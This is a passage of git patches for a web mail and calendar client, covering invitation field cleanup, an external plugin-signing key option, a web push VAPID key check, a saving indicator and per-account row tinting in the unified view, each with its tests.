From 7037830ad9ea4ad1a386625aef279d6b23770a33 Mon Sep 17 00:00:00 2001 From: lucletoffe <15689941+lucletoffe@users.noreply.github.com> Date: Thu, 6 Aug 2026 09:21:31 +0200 Subject: [PATCH 001/358] fix(calendar): stop writing blank participant names and empty descriptions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both reach the recipient of an invitation. A participant sent with `name: ""` is serialized as a bare `CN=`, so the invitation e-mail shows a dangling "- Organizer" and lists guests with nothing before their address; omitting the name lets clients fall back to the address. An event created with an empty description writes `DESCRIPTION:` with nothing after it, which renders as a "Description" heading over blank space — the empty string is still sent when editing an existing event, since that is how a description gets cleared. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01YS9FfeGXhm9HBwbRyvJ1db --- components/calendar/event-modal.tsx | 10 +++++++++- lib/__tests__/calendar-participants.test.ts | 17 +++++++++++++++++ lib/calendar-participants.ts | 9 +++++++-- 3 files changed, 33 insertions(+), 3 deletions(-) diff --git a/components/calendar/event-modal.tsx b/components/calendar/event-modal.tsx index cd65425d6..e5a8012e5 100644 --- a/components/calendar/event-modal.tsx +++ b/components/calendar/event-modal.tsx @@ -418,9 +418,10 @@ export function EventModal({ const timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone; + const trimmedDescription = description.trim(); + const data: Partial = { title: trimmedTitle, - description: description.trim(), start: startStr, duration, timeZone: allDay ? null : timeZone, @@ -431,6 +432,13 @@ export function EventModal({ privacy: "public", }; + // On an existing event the empty string is how a description gets cleared, but + // sending it on creation writes a `DESCRIPTION:` with nothing after it — which + // invitation e-mails then render as a "Description" heading over blank space. + if (trimmedDescription || event) { + data.description = trimmedDescription; + } + if (!event) { data.uid = generateUUID(); } diff --git a/lib/__tests__/calendar-participants.test.ts b/lib/__tests__/calendar-participants.test.ts index b443ee5cd..bb671a086 100644 --- a/lib/__tests__/calendar-participants.test.ts +++ b/lib/__tests__/calendar-participants.test.ts @@ -361,6 +361,23 @@ describe('buildParticipantMap', () => { }); }); + it('omits blank names rather than sending an empty one', () => { + const map = buildParticipantMap( + { name: '', email: 'alice@example.com' }, + [ + { name: ' ', email: 'bob@example.com' }, + { name: ' Carol ', email: 'carol@example.com' }, + ] + ); + const entries = Object.values(map); + + // An empty name becomes a bare `CN=` downstream, which renders as a dangling + // "- Organizer" and as guests listed with nothing before their address. + expect(entries.find(p => p.email === 'alice@example.com')).not.toHaveProperty('name'); + expect(entries.find(p => p.email === 'bob@example.com')).not.toHaveProperty('name'); + expect(entries.find(p => p.email === 'carol@example.com')!.name).toBe('Carol'); + }); + it('sets kind to individual for all entries', () => { const map = buildParticipantMap( { name: 'Alice', email: 'alice@example.com' }, diff --git a/lib/calendar-participants.ts b/lib/calendar-participants.ts index cd7aa4a42..6484555e7 100644 --- a/lib/calendar-participants.ts +++ b/lib/calendar-participants.ts @@ -134,12 +134,17 @@ export function buildParticipantMap( const generateId = () => generateUUID(); + // An empty name is not a name: sent as "", it reaches the iCalendar stream as a + // bare `CN=`, and recipients see a dangling "- Organizer" or a guest listed with + // nothing before their address. Omitted, clients fall back to the address. + const named = (name: string) => (name.trim() ? { name: name.trim() } : {}); + // calendarAddress is the scheduling address in draft-ietf-calext-jscalendarbis // (implemented by Stalwart); the RFC 8984 sendTo property is retired there and // stored as an inert JSPROP, so it is intentionally not sent. participants[generateId()] = { '@type': 'Participant', - name: organizer.name, + ...named(organizer.name), email: organizer.email, calendarAddress: `mailto:${organizer.email}`, // owner only, NOT attendee: with roles.attendee set, Stalwart's server-side @@ -155,7 +160,7 @@ export function buildParticipantMap( attendees.forEach((a) => { participants[generateId()] = { '@type': 'Participant', - name: a.name, + ...named(a.name), email: a.email, calendarAddress: `mailto:${a.email}`, roles: { attendee: true }, From c13b4105bedd2c80cb3b2e6c7731f25c5ce6239d Mon Sep 17 00:00:00 2001 From: mulatta <67085791+mulatta@users.noreply.github.com> Date: Wed, 9 Sep 2026 01:25:59 +0900 Subject: [PATCH 002/358] feat: support external plugin signing keys --- .env.example | 6 ++ README.md | 15 +++ lib/admin/__tests__/plugin-signing.test.ts | 112 +++++++++++++++++++++ lib/admin/plugin-signing.ts | 43 ++++++-- 4 files changed, 166 insertions(+), 10 deletions(-) create mode 100644 lib/admin/__tests__/plugin-signing.test.ts diff --git a/.env.example b/.env.example index c868bce88..45e083d4f 100644 --- a/.env.example +++ b/.env.example @@ -130,6 +130,12 @@ JMAP_SERVER_URL=https://your-jmap-server.com # error than a mid-request EROFS). Pair with `:ro` on the config-volume mount. # ADMIN_CONFIG_READONLY=true # +# Optional existing PEM PKCS#8 Ed25519 private key used to sign managed plugin +# bundles. Bulwark reads this exact path without modifying it. Use a runtime +# secret mount such as a systemd credential, Docker secret, or Kubernetes Secret. +# When unset, Bulwark loads or creates ADMIN_CONFIG_DIR/plugin-signing.key. +# PLUGIN_SIGNING_KEY_FILE=/run/secrets/plugin-signing-key +# # Legacy: a single dir containing both config and state. Honoured if neither # of the split variables is set. New installs should use the split vars. # ADMIN_DATA_DIR=./data/admin diff --git a/README.md b/README.md index 4ee8040aa..36b603612 100644 --- a/README.md +++ b/README.md @@ -316,6 +316,21 @@ ADMIN_CONFIG_READONLY=true # enforce read-only mode at the app layer The split lets you mount the config volume read-only after the setup wizard completes. Legacy installs that pre-date the split keep working through `ADMIN_DATA_DIR`. +Managed plugin bundles use an Ed25519 signing key. By default, Bulwark loads or lazily creates `ADMIN_CONFIG_DIR/plugin-signing.key`. Immutable deployments can keep the private key in a read-only secret mount instead: + +```env +PLUGIN_SIGNING_KEY_FILE=/run/credentials/bulwark.service/plugin-signing-key +``` + +Generate a compatible PEM PKCS#8 key outside the config tree, then expose it read-only through a systemd credential, Docker secret, or Kubernetes Secret: + +```bash +openssl genpkey -algorithm Ed25519 -out plugin-signing-key +chmod 600 plugin-signing-key +``` + +Bulwark only reads the exact external path; it never generates, rewrites, or changes permissions on that file. Keep the key out of images, source control, and world-readable locations. After replacing the key, restart Bulwark to clear the server-side cache and reload or reopen active clients to clear their public-key cache. Already-open pages may reject signatures until they reload. +
diff --git a/lib/admin/__tests__/plugin-signing.test.ts b/lib/admin/__tests__/plugin-signing.test.ts new file mode 100644 index 000000000..20d6d1ddf --- /dev/null +++ b/lib/admin/__tests__/plugin-signing.test.ts @@ -0,0 +1,112 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { createPublicKey, generateKeyPairSync, verify } from 'node:crypto'; +import { access, mkdir, mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import { tmpdir } from 'node:os'; +import { + getPublicKeyBase64, + invalidatePluginSigningCache, + signBytes, +} from '../plugin-signing'; + +let dir: string; + +beforeEach(async () => { + dir = await mkdtemp(path.join(tmpdir(), 'bw-plugin-signing-')); + invalidatePluginSigningCache(); +}); + +afterEach(async () => { + invalidatePluginSigningCache(); + vi.unstubAllEnvs(); + await rm(dir, { recursive: true, force: true }); +}); + +function privateKeyPem(type: 'ed25519' | 'rsa' = 'ed25519'): string { + const privateKey = type === 'rsa' + ? generateKeyPairSync('rsa', { modulusLength: 2048 }).privateKey + : generateKeyPairSync('ed25519').privateKey; + return privateKey.export({ type: 'pkcs8', format: 'pem' }) as string; +} + +describe('plugin signing key storage', () => { + it('loads an external Ed25519 PKCS#8 key without touching it or the config directory', async () => { + const keyPath = path.join(dir, 'secrets', 'plugin-signing.pem'); + const configDir = path.join(dir, 'immutable-config'); + await mkdir(path.dirname(keyPath)); + const pem = privateKeyPem(); + await writeFile(keyPath, pem, { mode: 0o400 }); + const before = await stat(keyPath); + vi.stubEnv('PLUGIN_SIGNING_KEY_FILE', keyPath); + vi.stubEnv('ADMIN_CONFIG_DIR', configDir); + vi.stubEnv('ADMIN_CONFIG_READONLY', 'true'); + + const payload = Buffer.from('external signing key'); + const signature = Buffer.from(await signBytes(payload), 'base64'); + const publicKey = createPublicKey(pem); + + expect(verify(null, payload, publicKey, signature)).toBe(true); + expect(await readFile(keyPath, 'utf8')).toBe(pem); + const after = await stat(keyPath); + expect(after.mode).toBe(before.mode); + expect(after.mtimeMs).toBe(before.mtimeMs); + await expect(access(configDir)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('keeps loading an existing key from ADMIN_CONFIG_DIR when external path is unset', async () => { + const configDir = path.join(dir, 'config'); + const pem = privateKeyPem(); + await mkdir(configDir); + await writeFile(path.join(configDir, 'plugin-signing.key'), pem); + vi.stubEnv('ADMIN_CONFIG_DIR', configDir); + + const expected = createPublicKey(pem).export({ type: 'spki', format: 'der' }) as Buffer; + await expect(getPublicKeyBase64()).resolves.toBe(expected.subarray(-32).toString('base64')); + }); + + it('keeps generating plugin-signing.key when external path is unset', async () => { + const configDir = path.join(dir, 'config'); + vi.stubEnv('ADMIN_CONFIG_DIR', configDir); + + await expect(signBytes('generated key')).resolves.toMatch(/^[A-Za-z0-9+/]{86}==$/); + const generated = await readFile(path.join(configDir, 'plugin-signing.key'), 'utf8'); + expect(generated).toContain('-----BEGIN PRIVATE KEY-----'); + }); + + it('reports a missing external key without falling back to generation', async () => { + const keyPath = path.join(dir, 'missing.pem'); + const configDir = path.join(dir, 'config'); + vi.stubEnv('PLUGIN_SIGNING_KEY_FILE', keyPath); + vi.stubEnv('ADMIN_CONFIG_DIR', configDir); + + await expect(signBytes('payload')).rejects.toThrow( + 'Cannot read plugin signing key from PLUGIN_SIGNING_KEY_FILE', + ); + await expect(access(configDir)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('reports malformed external key data without exposing its contents', async () => { + const keyPath = path.join(dir, 'malformed.pem'); + const secret = 'not-a-private-key-secret'; + await writeFile(keyPath, secret); + vi.stubEnv('PLUGIN_SIGNING_KEY_FILE', keyPath); + + const error = await signBytes('payload').then( + () => null, + (caught: unknown) => caught as Error, + ); + expect(error).not.toBeNull(); + expect(error!.message).toContain('valid PEM PKCS#8 private key'); + expect(error!.message).not.toContain(secret); + }); + + it('reports an external private key of the wrong asymmetric type', async () => { + const keyPath = path.join(dir, 'rsa.pem'); + await writeFile(keyPath, privateKeyPem('rsa')); + vi.stubEnv('PLUGIN_SIGNING_KEY_FILE', keyPath); + + await expect(signBytes('payload')).rejects.toThrow( + 'PLUGIN_SIGNING_KEY_FILE has wrong key type (rsa); expected ed25519', + ); + }); +}); diff --git a/lib/admin/plugin-signing.ts b/lib/admin/plugin-signing.ts index cf0ff2473..977f8233b 100644 --- a/lib/admin/plugin-signing.ts +++ b/lib/admin/plugin-signing.ts @@ -5,10 +5,10 @@ // attacker swaps the bundle bytes in transit or at rest, the client refuses // to load anything that doesn't verify against the host's public key. // -// The keypair lives at `data/admin/plugin-signing.key` (PEM-encoded -// PKCS#8 private, mode 0600) and is generated lazily on first use. Operators -// who want to pin the key out-of-band can drop a pre-generated PEM at that -// path before first boot - the loader just reads what's there. +// By default, the keypair lives at `data/admin/plugin-signing.key` +// (PEM-encoded PKCS#8 private, mode 0600) and is generated lazily on first +// use. Operators can instead point PLUGIN_SIGNING_KEY_FILE at a read-only +// secret outside the admin config directory. import { generateKeyPairSync, createPrivateKey, createPublicKey, sign as nodeSign, KeyObject } from 'node:crypto'; import { readFile, writeFile, chmod } from 'node:fs/promises'; @@ -21,18 +21,41 @@ const KEY_FILENAME = 'plugin-signing.key'; let cached: { privateKey: KeyObject; publicKey: KeyObject } | null = null; let initPromise: Promise | null = null; +function parseKey(pem: string, source: string): { privateKey: KeyObject; publicKey: KeyObject } { + let privateKey: KeyObject; + try { + if (!pem.includes('-----BEGIN PRIVATE KEY-----')) throw new Error('not PKCS#8 PEM'); + privateKey = createPrivateKey({ key: pem, format: 'pem', type: 'pkcs8' }); + } catch { + throw new Error(`${source} is not a valid PEM PKCS#8 private key`); + } + if (privateKey.asymmetricKeyType !== 'ed25519') { + throw new Error(`${source} has wrong key type (${privateKey.asymmetricKeyType}); expected ed25519`); + } + return { privateKey, publicKey: createPublicKey(privateKey) }; +} + +async function loadExternal(path: string): Promise<{ privateKey: KeyObject; publicKey: KeyObject }> { + let pem: string; + try { + pem = await readFile(path, 'utf-8'); + } catch (err) { + const detail = err instanceof Error ? err.message : String(err); + throw new Error(`Cannot read plugin signing key from PLUGIN_SIGNING_KEY_FILE: ${detail}`); + } + return parseKey(pem, 'PLUGIN_SIGNING_KEY_FILE'); +} + async function loadOrCreate(): Promise<{ privateKey: KeyObject; publicKey: KeyObject }> { + const externalPath = process.env.PLUGIN_SIGNING_KEY_FILE; + if (externalPath !== undefined) return loadExternal(externalPath); + await ensureConfigDir(); const path = getConfigPath(KEY_FILENAME); if (existsSync(path)) { const pem = await readFile(path, 'utf-8'); - const privateKey = createPrivateKey({ key: pem, format: 'pem' }); - if (privateKey.asymmetricKeyType !== 'ed25519') { - throw new Error(`plugin-signing.key has wrong key type (${privateKey.asymmetricKeyType}); expected ed25519`); - } - const publicKey = createPublicKey(privateKey); - return { privateKey, publicKey }; + return parseKey(pem, KEY_FILENAME); } // First boot: generate and persist. Use sync APIs so a half-written file From 6a92c334d4f904f96de5cebe332d690f8e3d7332 Mon Sep 17 00:00:00 2001 From: Shuki Vaknin Date: Thu, 17 Sep 2026 19:54:34 +0300 Subject: [PATCH 003/358] fix(push): resubscribe when the browser subscription uses another VAPID key enableWebPush reused any existing browser PushSubscription that exposed an applicationServerKey, without comparing that key to the relay's. A push subscription is bound to the key it was created with. So a browser that subscribed against another relay, or before this relay rotated its keys, kept a subscription the push service rejects on every send. Mozilla answers 401 "VAPID public key mismatch". isWebPushEnabled still reports push as on, so nothing prompts the user to fix it. Compare the key bytes and resubscribe on a mismatch. Because resyncWebPush runs enableWebPush on app start, affected browsers repair themselves the next time the app opens. Claude-Session: https://claude.ai/code/session_019KwXZEwxijHRbfobfXmcK2 --- lib/__tests__/web-push.test.ts | 41 +++++++++++++++++++++++++++++++++- lib/web-push.ts | 30 +++++++++++++++++++------ 2 files changed, 63 insertions(+), 8 deletions(-) diff --git a/lib/__tests__/web-push.test.ts b/lib/__tests__/web-push.test.ts index 369266b2a..ab7da8933 100644 --- a/lib/__tests__/web-push.test.ts +++ b/lib/__tests__/web-push.test.ts @@ -103,7 +103,9 @@ function makeClient( function installPushBrowser() { const browserSub = { endpoint: 'https://fcm.example/endpoint', - options: { applicationServerKey: new ArrayBuffer(8) }, + // The key installFetch's relay advertises ('QUJD' = "ABC"), so the + // browser subscription belongs to that relay unless a test says otherwise. + options: { applicationServerKey: new Uint8Array([65, 66, 67]).buffer as ArrayBuffer | null }, getKey: () => new Uint8Array([1, 2, 3]).buffer, unsubscribe: vi.fn(async () => true), }; @@ -202,6 +204,43 @@ describe('enableWebPush', () => { expect(client.destroyed).not.toContain('push-other'); }); + + it('reuses a browser subscription made with this relay key', async () => { + const { browserSub, registration } = installPushBrowser(); + installFetch({}); + + await enableWebPush({ client: makeClient([]), relayBaseUrl: RELAY }); + + expect(browserSub.unsubscribe).not.toHaveBeenCalled(); + expect(registration.pushManager.subscribe).not.toHaveBeenCalled(); + }); + + it('replaces a browser subscription made with another relay key', async () => { + const { browserSub, registration } = installPushBrowser(); + browserSub.options.applicationServerKey = new Uint8Array([9, 9, 9]).buffer; + const calls = installFetch({}); + + await enableWebPush({ client: makeClient([]), relayBaseUrl: RELAY }); + + expect(browserSub.unsubscribe).toHaveBeenCalledTimes(1); + expect(registration.pushManager.subscribe).toHaveBeenCalledTimes(1); + const [{ applicationServerKey }] = registration.pushManager.subscribe.mock.calls[0] as unknown as [ + { applicationServerKey: Uint8Array }, + ]; + expect(Array.from(applicationServerKey)).toEqual([65, 66, 67]); + expect(calls.some((c) => c.url.endsWith('/api/push/register/web'))).toBe(true); + }); + + it('replaces a browser subscription whose key the browser does not expose', async () => { + const { browserSub, registration } = installPushBrowser(); + browserSub.options.applicationServerKey = null; + installFetch({}); + + await enableWebPush({ client: makeClient([]), relayBaseUrl: RELAY }); + + expect(browserSub.unsubscribe).toHaveBeenCalledTimes(1); + expect(registration.pushManager.subscribe).toHaveBeenCalledTimes(1); + }); }); // Registrations made before the client learned about the delivery filter are diff --git a/lib/web-push.ts b/lib/web-push.ts index 48e48ebd5..b2e5a7399 100644 --- a/lib/web-push.ts +++ b/lib/web-push.ts @@ -208,6 +208,15 @@ function urlBase64ToUint8Array(base64Url: string): Uint8Array { return out; } +// A browser that doesn't expose the key it subscribed with counts as a +// mismatch: we can't prove the subscription belongs to this relay. +function sameKey(existing: ArrayBuffer | null | undefined, expected: Uint8Array): boolean { + if (!existing) return false; + const bytes = new Uint8Array(existing); + if (bytes.length !== expected.length) return false; + return bytes.every((byte, i) => byte === expected[i]); +} + function readPushKey( sub: PushSubscription, name: 'p256dh' | 'auth', @@ -408,18 +417,25 @@ export async function enableWebPush( // Reuse an existing browser PushSubscription when possible - resubscribing // with the same VAPID key produces the same endpoint, but the call still // costs a network round-trip the user can feel. + // + // Only reuse it if it was made with THIS relay's key. A subscription is + // bound to the VAPID key it was created with, so one left over from another + // relay (or from before this relay rotated its keys) is rejected by the push + // service on every send - Mozilla answers 401 "VAPID public key mismatch" - + // while isWebPushEnabled keeps reporting push as on. + const applicationServerKey = urlBase64ToUint8Array(vapidPublicKey); let pushSubscription = await registration.pushManager.getSubscription(); - if (pushSubscription) { - const keyMatches = pushSubscription.options?.applicationServerKey; - if (!keyMatches) { - await pushSubscription.unsubscribe(); - pushSubscription = null; - } + if ( + pushSubscription + && !sameKey(pushSubscription.options?.applicationServerKey, applicationServerKey) + ) { + await pushSubscription.unsubscribe(); + pushSubscription = null; } if (!pushSubscription) { pushSubscription = await registration.pushManager.subscribe({ userVisibleOnly: true, - applicationServerKey: urlBase64ToUint8Array(vapidPublicKey), + applicationServerKey, }); } From e9a72ec17e784c800000f6769a48cbd7c5b4bf3c Mon Sep 17 00:00:00 2001 From: Tex LH Chi Date: Thu, 27 Aug 2026 09:05:52 +0800 Subject: [PATCH 004/358] fix(calendar): show in-flight state on Save and surface the silent length-guard rejection --- components/calendar/event-modal.tsx | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/components/calendar/event-modal.tsx b/components/calendar/event-modal.tsx index 3d2d0bdac..f33d9aa62 100644 --- a/components/calendar/event-modal.tsx +++ b/components/calendar/event-modal.tsx @@ -2,6 +2,7 @@ import { useState, useEffect, useCallback, useRef, useMemo } from "react"; import { useTranslations, useLocale } from "next-intl"; +import { toast } from "@/stores/toast-store"; import { Button } from "@/components/ui/button"; import { Input } from "@/components/ui/input"; import { LinkifiedText } from "@/components/ui/linkified-text"; @@ -493,7 +494,13 @@ export function EventModal({ const handleSave = useCallback(async () => { const trimmedTitle = title.trim(); if (!trimmedTitle || isSaving) return; - if (trimmedTitle.length > 500 || description.trim().length > 10000 || location.trim().length > 500) return; + if (trimmedTitle.length > 500 || description.trim().length > 10000 || location.trim().length > 500) { + // This guard returned silently, so a rejected save was indistinguishable from a dead + // button. The fields also enforce their limits via maxLength, so this is a backstop — + // but if it ever fires, say so. + toast.error(t("notifications.event_error")); + return; + } const pendingAttendee = participantInputRef.current?.flush() ?? null; const effectiveAttendees = pendingAttendee ? [...attendees, pendingAttendee] : attendees; @@ -1436,7 +1443,9 @@ export function EventModal({ disabled={!title.trim() || isSaving} className="w-full" > - {t("form.save")} + {/* While a save is in flight the button was disabled with no visible change, so a + slow request (mobile, VPN) looked like a dead button for the whole timeout. */} + {isSaving ? t("form.saving") : t("form.save")} )} From bf02da61c4e60ad5ff467d744b052a6207329c58 Mon Sep 17 00:00:00 2001 From: Tex LH Chi Date: Thu, 27 Aug 2026 09:05:54 +0800 Subject: [PATCH 005/358] fix(calendar): show in-flight state on Save and surface the silent length-guard rejection --- locales/en/common.json | 1 + 1 file changed, 1 insertion(+) diff --git a/locales/en/common.json b/locales/en/common.json index 0e22473c8..dfeb97bb6 100644 --- a/locales/en/common.json +++ b/locales/en/common.json @@ -2827,6 +2827,7 @@ "all_day_event": "All-day event", "calendar_select": "Calendar", "save": "Save", + "saving": "Saving…", "cancel": "Cancel", "delete_confirm": "Are you sure you want to delete this event?", "color": "Color" From 42b6cc08b0c832543462035cafa2e1932015d043 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Fri, 18 Sep 2026 18:38:16 +0200 Subject: [PATCH 006/358] feat: colour unified rows by account and give every tag a hue of its own In the unified view each row can be shaded with its account colour instead of carrying an account dot, behind a layout setting. Tags keep their own generated hue on their chips. --- .../email/__tests__/thread-list-item.test.tsx | 92 +++++++++++++++++++ components/email/thread-list-item.tsx | 39 ++++++-- components/settings/layout-settings.tsx | 9 +- hooks/__tests__/use-keyword-format.test.tsx | 38 +++++++- hooks/use-keyword-format.ts | 18 +++- lib/account-utils.ts | 35 +++++++ locales/ar/common.json | 4 + locales/ca/common.json | 4 + locales/cs/common.json | 4 + locales/da/common.json | 4 + locales/de/common.json | 4 + locales/en/common.json | 4 + locales/es/common.json | 4 + locales/fa/common.json | 4 + locales/fr/common.json | 4 + locales/he/common.json | 4 + locales/hu/common.json | 4 + locales/it/common.json | 4 + locales/ja/common.json | 4 + locales/ko/common.json | 4 + locales/lv/common.json | 4 + locales/mn/common.json | 4 + locales/nb/common.json | 4 + locales/nl/common.json | 4 + locales/pl/common.json | 4 + locales/pt/common.json | 4 + locales/ro/common.json | 4 + locales/ru/common.json | 4 + locales/sk/common.json | 4 + locales/tr/common.json | 4 + locales/uk/common.json | 4 + locales/zh-TW/common.json | 4 + locales/zh/common.json | 4 + stores/settings-store.ts | 3 + 34 files changed, 325 insertions(+), 17 deletions(-) diff --git a/components/email/__tests__/thread-list-item.test.tsx b/components/email/__tests__/thread-list-item.test.tsx index f9b312e39..b7208a5b5 100644 --- a/components/email/__tests__/thread-list-item.test.tsx +++ b/components/email/__tests__/thread-list-item.test.tsx @@ -14,6 +14,18 @@ vi.mock('@/stores/auth-store', () => ({ useAuthStore: () => ({ identities: [] }), })); +const ACCOUNT_TEAL = { id: 'acct-teal', avatarColor: '#0d9488', label: 'Teal account' }; +const accountState = { + getAccountById: (id: string) => (id === ACCOUNT_TEAL.id ? ACCOUNT_TEAL : undefined), +}; +vi.mock('@/stores/account-store', () => ({ + useAccountStore: Object.assign( + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (selector: any) => (selector ? selector(accountState) : accountState), + { getState: () => accountState }, + ), +})); + const makeEmail = (overrides: Partial = {}): Email => ({ id: 'email-1', threadId: 'thread-1', @@ -288,3 +300,83 @@ describe('ThreadListItem row tint', () => { expect(classes).toContain('bg-accent/40'); }); }); + + +describe('ThreadListItem account row tint', () => { + beforeEach(() => { + useSettingsStore.setState({ + emailKeywords: [...DEFAULT_KEYWORDS], + showPreview: false, + mailLayout: 'split', + tintListRowsByTag: true, + tintListRowsByAccount: false, + }); + useEmailStore.setState({ + selectedEmailIds: new Set(), + selectedMailbox: 'inbox', + isUnifiedView: false, + }); + }); + + const row = (c: HTMLElement) => c.querySelector('[data-subject="Test Subject"]'); + const accountEmail = () => makeEmail({ accountId: ACCOUNT_TEAL.id, accountLabel: ACCOUNT_TEAL.label }); + + it('tints the row with the account colour in the unified view', () => { + useSettingsStore.setState({ tintListRowsByAccount: true }); + useEmailStore.setState({ isUnifiedView: true }); + + const { container } = renderRow(accountEmail()); + expect(row(container)!.className).toContain('bg-teal-100'); + }); + + it('leaves rows untinted outside the unified view', () => { + useSettingsStore.setState({ tintListRowsByAccount: true }); + useEmailStore.setState({ isUnifiedView: false }); + + const { container } = renderRow(accountEmail()); + expect(row(container)!.className).not.toContain('bg-teal-100'); + }); + + it('does not tint by account while the setting is off', () => { + useEmailStore.setState({ isUnifiedView: true }); + + const { container } = renderRow(accountEmail()); + expect(row(container)!.className).not.toContain('bg-teal-100'); + }); + + it('still tints when accountId matches no local account', () => { + // Shared/group entries carry the JMAP owner id, which no AccountEntry + // matches - the row must fall back to a colour from the label, not stay blank. + useSettingsStore.setState({ tintListRowsByAccount: true }); + useEmailStore.setState({ isUnifiedView: true }); + const orphan = makeEmail({ accountId: 'jmap-owner-id-with-no-entry', accountLabel: 'luca@lucazanon.it' }); + + const { container } = renderRow(orphan); + expect(row(container)!.className).toMatch(/bg-[a-z]+-\d+/); + }); + + it('gives different accounts different tints', () => { + useSettingsStore.setState({ tintListRowsByAccount: true }); + useEmailStore.setState({ isUnifiedView: true }); + + const a = renderRow(makeEmail({ accountId: 'x', accountLabel: 'luca@insulaab.it' })); + const clsA = row(a.container)!.className.match(/bg-[a-z]+-\d+/)![0]; + a.unmount(); + const b = renderRow(makeEmail({ accountId: 'y', accountLabel: 'luca@lucazanon.it' })); + const clsB = row(b.container)!.className.match(/bg-[a-z]+-\d+/)![0]; + + expect(clsA).not.toBe(clsB); + }); + + it('outranks the tag tint', () => { + useSettingsStore.setState({ tintListRowsByAccount: true }); + useEmailStore.setState({ isUnifiedView: true }); + const tagged = makeEmail({ + accountId: ACCOUNT_TEAL.id, + keywords: { $seen: true, [`$label:${DEFAULT_KEYWORDS[0].id}`]: true }, + }); + + const { container } = renderRow(tagged); + expect(row(container)!.className).toContain('bg-teal-100'); + }); +}); diff --git a/components/email/thread-list-item.tsx b/components/email/thread-list-item.tsx index 19ac9c4da..812fe29d7 100644 --- a/components/email/thread-list-item.tsx +++ b/components/email/thread-list-item.tsx @@ -9,7 +9,8 @@ import type { Attachment } from "@/lib/jmap/types"; import { SelectableAvatar } from "@/components/email/selectable-avatar"; import { Paperclip, Star, Pin, Circle, ChevronRight, ChevronDown, Loader2, MessageSquare, CheckSquare, Square, Reply, Forward, CalendarClock, Folder, Archive, Trash2, MailOpen, ShieldAlert } from "lucide-react"; import type { LucideIcon } from "lucide-react"; -import { useSettingsStore } from "@/stores/settings-store"; +import { useSettingsStore, KEYWORD_PALETTE } from "@/stores/settings-store"; +import { accountTintKey, generateAvatarColor } from "@/lib/account-utils"; import { useUIStore } from "@/stores/ui-store"; import { useEmailStore } from "@/stores/email-store"; import { useAccountStore, type AccountEntry } from "@/stores/account-store"; @@ -176,6 +177,7 @@ const SingleEmailItem = React.forwardRef( const { sortTagIds, tagColor } = useKeywordFormat(); const { variant: tagVariant, placement: tagPlacement } = useTagDisplay(); const tintListRowsByTag = useSettingsStore((state) => state.tintListRowsByTag); + const tintListRowsByAccount = useSettingsStore((state) => state.tintListRowsByAccount); const density = useSettingsStore((state) => state.density); const mailLayout = useSettingsStore((state) => state.mailLayout); const timeFormat = useSettingsStore((state) => state.timeFormat); @@ -202,7 +204,22 @@ const SingleEmailItem = React.forwardRef( : null; const tagIds = sortTagIds(getEmailTagIds(email.keywords)); - const resolvedRowTint = !tintListRowsByTag ? null : (rowTint ?? (tagIds[0] ? tagColor(tagIds[0]).rowTint : null)); + // The account tint stands in for the per-account dot, so it outranks the + // tag tint - the tag still shows its own colour on its chip. + // + // `accountId` only resolves to a local account for personal entries; shared + // ones carry the JMAP owner id, which no AccountEntry matches. Falling back + // to the reaching client and then to a colour derived from the label means + // every row that knows which account it came from gets tinted, instead of + // silently staying blank. + const accountTintSource = accountColor + ?? (email.sourceClientAccountId ? getAccountById(email.sourceClientAccountId)?.avatarColor : undefined) + ?? (email.accountLabel ? generateAvatarColor(email.accountLabel) : undefined); + const accountRowTint = (tintListRowsByAccount && isUnifiedView && accountTintSource) + ? (KEYWORD_PALETTE[accountTintKey(accountTintSource)]?.rowTint ?? null) + : null; + const resolvedRowTint = accountRowTint + ?? (!tintListRowsByTag ? null : (rowTint ?? (tagIds[0] ? tagColor(tagIds[0]).rowTint : null))); const { dragHandlers, isDragging } = useEmailDrag({ email, @@ -392,7 +409,7 @@ const SingleEmailItem = React.forwardRef( {isFocusedMailLayout ? (
- {isUnifiedView && email.accountId && accountColor && ( + {isUnifiedView && email.accountId && accountColor && !tintListRowsByAccount && ( ( <>
- {isUnifiedView && email.accountId && accountColor && ( + {isUnifiedView && email.accountId && accountColor && !tintListRowsByAccount && ( state.tintListRowsByTag); + const tintListRowsByAccount = useSettingsStore((state) => state.tintListRowsByAccount); // A collapsed row speaks for every message under it, so it carries their tags too. const tagIds = sortTagIds(getThreadTagIds(thread.emails)); - const rowTint = (tintListRowsByTag && tagIds[0]) ? tagColor(tagIds[0]).rowTint : null; + const threadTintSource = threadAccountColor + ?? (latestEmail.sourceClientAccountId ? getAccountById(latestEmail.sourceClientAccountId)?.avatarColor : undefined) + ?? (latestEmail.accountLabel ? generateAvatarColor(latestEmail.accountLabel) : undefined); + const accountRowTint = (tintListRowsByAccount && isUnifiedView && threadTintSource) + ? (KEYWORD_PALETTE[accountTintKey(threadTintSource)]?.rowTint ?? null) + : null; + const rowTint = accountRowTint + ?? ((tintListRowsByTag && tagIds[0]) ? tagColor(tagIds[0]).rowTint : null); const isSelected = selectedEmailId === latestEmail.id || thread.emails.some(e => e.id === selectedEmailId); @@ -885,7 +910,7 @@ export const ThreadListItem = React.forwardRef
- {isUnifiedView && latestEmail.accountId && threadAccountColor && ( + {isUnifiedView && latestEmail.accountId && threadAccountColor && !tintListRowsByAccount && (
